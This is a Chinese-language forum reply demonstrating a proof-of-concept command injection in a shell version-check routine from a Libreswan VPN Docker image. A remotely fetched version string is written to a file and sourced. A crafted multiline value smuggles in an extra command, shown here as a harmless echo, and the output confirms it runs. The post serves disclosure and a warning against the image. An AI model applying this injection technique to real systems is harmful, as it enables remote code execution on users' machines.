@
2i2Re2PLMaDnghL #17 你是对的，我给想混了，把 grep 想成管道过滤输出了，怎么在 if 里面这么想。。
按你的方法，我利用成功了
测试脚本，模仿
run.sh：
gentoo-s-1vcpu-1gb-amd-nyc3-01 /tmp # cat
test.sh #!/bin/bash
swan_ver_file="/tmp/tmp_version"
swan_ver="1.2";
swan_ver_latest=$(wget -qO- "http*s://
www.xxx.com/test.txt");
#echo $swan_ver_latest;
#printf '%s' "$swan_ver_latest" | grep -Eq '^([3-9]|[1-9][0-9]{1,2})(\.([0-9]|[1-9][0-9]{1,2})){1,2}$';
if printf '%s' "$swan_ver_latest" | grep -Eq '^([3-9]|[1-9][0-9]{1,2})(\.([0-9]|[1-9][0-9]{1,2})){1,2}$' \
&& [ -n "$swan_ver" ] && [ "$swan_ver" != "$swan_ver_latest" ] \
&& printf '%s\n%s' "$swan_ver" "$swan_ver_latest" | sort -C -V; then
printf '%s\n' "swan_ver_latest='$swan_ver_latest'" > "$swan_ver_file"
fi
if [ -s "$swan_ver_file" ]; then
. "$swan_ver_file"
cat <<EOF
Note: A newer version of Libreswan ($swan_ver_latest) is available.
To update this Docker image, see: http*s://
git.io/updatedockervpnEOF
fi
wget exploit 代码：
gentoo-s-1vcpu-1gb-amd-nyc3-01 /tmp # cat /var/www/
www.xxx.com/test.txt 999.999.998'
999.999.999
echo "hello world"
zz'
执行结果：
gentoo-s-1vcpu-1gb-amd-nyc3-01 /tmp # sh ./
test.sh /tmp/tmp_version: line 2: 999.999.999: command not found
hello world
/tmp/tmp_version: line 4: zz: command not found
Note: A newer version of Libreswan (999.999.998) is available.
To update this Docker image, see: http*s://
git.io/updatedockervpn楼主的猜测没问题，如果作者想利用这个步骤攻击，可以在某个时期段注入攻击代码，然后再恢复正常，很难被人发现，唯一可控的就是 docker 环境隔离了宿主机
但考虑到是 vpn ，存在被利用搭建管道，建议不要使用